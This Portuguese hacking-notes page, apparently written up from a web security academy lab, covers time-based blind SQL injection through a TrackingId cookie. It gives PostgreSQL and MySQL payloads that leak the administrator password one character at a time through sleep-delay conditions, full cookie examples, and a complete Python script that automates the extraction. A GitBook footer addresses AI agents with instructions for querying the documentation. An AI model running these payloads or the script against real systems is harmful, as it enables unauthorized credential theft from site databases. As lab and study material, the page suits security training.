> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).

# Exfiltração de Dados por Injeção de SQL Cega Baseada em Tempo

### Injeção SQL cega com atrasos de tempo e recuperação de informações

O valor do `TrackingId` cookie é interpolado em uma consulta SQL síncrona. Uma quebra condicional (`SLEEP` / `pg_sleep`) é acionada quando uma afirmação é verdadeira; A informação é derivada medindo-se o tempo de resposta (ou seja, atraso se a condição for verdadeira).

#### PostgreSQL

* Dormir 5 s simples:

```
TrackingId=<BASE>' || pg_sleep(5) || '
```

* Condicional (testar se `username='administrator'` → 5 s):

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Testar comprimento da senha = 20:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Testar caractere em `pos` posição:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

> Nota do Postgres: às vezes o `FROM` da posição deve ser ajustado de acordo com a requisição injetada; os exemplos acima são padrões comuns.

#### MySQL

* Dormir 5 s simples:

```
TrackingId=<BASE>' AND SLEEP(5)-- -
```

* Condicional (substring):

```
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```

* Testar comprimento = N:

```
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```

> MySQL: `IF(condition, sleep(sec), 0)` é a forma padrão; use `SUBSTRING(...)` e `LENGTH(...)`.

***

### Exemplos concretos (cookie completo)

Suponha `BASE=abc123` e sessão `'SESSION=XYZ'`.

* Postgres — teste de caractere pos=1== 'a':

```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```

* MySQL — teste de caractere pos=1== 'a':

```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```

### Script Python automatizado (corrigido, adaptável a Postgres e MySQL)

Este script mede a latência e reconstrói caractere por caractere. Parâmetros: `ALVO`, `BASE_TRACKING`, `SESSÃO`, `SGBD` (`'postgres'`  ou `'mysql'`), alfabeto, atraso esperado (`SLEEP_SEC`) e `MAX_LEN`.

```python
#!/usr/bin/env python3
"""
Extrator de SQLi cego baseado em tempo (Postgres / MySQL)
Uso: configure TARGET, BASE_TRACKING, SESSION, DBMS e execute.
Execute SOMENTE em um ambiente autorizado.
"""

import requests, time, string, sys, signal

# ------------- CONFIGURAÇÃO -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test"            # parte legítima do TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres"                 # "postgres" ou "mysql"
SLEEP_SEC = 5                     # atraso do lado do servidor acionado
THRESHOLD = SLEEP_SEC - 1.0       # se a resposta > limite => condição é verdadeira
ALPHABET = string.ascii_lowercase + string.digits  # ajuste conforme necessário
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIGURAÇÃO -------------

HEADERS = {"User-Agent": "Mozilla/5.0"}

def build_payload(sgdb, pos, ch):
    if sgdb == "postgres":
        # condição: substring(password,pos,1) = 'ch'
        cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
        payload = f"{BASE_TRACKING}' || {cond} || '"
    elif sgdb == "mysql":
        # IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
        cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
        payload = f"{BASE_TRACKING}' OR {cond}-- -"
    else:
        raise ValueError("SGBD não suportado")
    return payload

def send_request(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    t0 = time.time()
    try:
        r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        return None, None
    dt = time.time() - t0
    return r, dt

def extract_password():
    pwd = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in ALPHABET:
            payload = build_payload(DBMS, pos, ch)
            _, dt = send_request(payload)
            if dt is None:
                print("[!] requisição falhou, tente novamente ou verifique a conexão")
                sys.exit(1)
            # depuração: print(f"pos={pos} try={ch} dt={dt:.2f}s")
            if dt > THRESHOLD:
                pwd += ch
                print(f"[+] pos={pos} -> '{ch}'  (dt={dt:.2f}s)")
                found = True
                break
        if not found:
            print(f"[-] Nenhum caractere encontrado na posição {pos} -> fim provável")
            break
    return pwd

def sigint_handler(sig, frame):
    print("/nInterrompido. Saindo.")
    sys.exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    print("[*] Iniciando extração (baseada em tempo)")
    recovered = extract_password()
    print(f"/n[=] Senha recuperada (parcial/estimada): {recovered}/n")
```

* Para **Postgres**, `DBMS="postgres"`.
* Para **MySQL**, `DBMS="mysql"`.
* Reduza `ALPHABET` Se você souber o conjunto de caracteres (grande ganho).
* Ajusta `MAX_LEN` / `SLEEP_SEC` de acordo com o alvo.
* Se necessário, use backoff exponencial para a recuperação/gestão.

<figure><img src="/files/d59fa50eb82fd356f9f89aa8e4ffd7b90c16e93d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
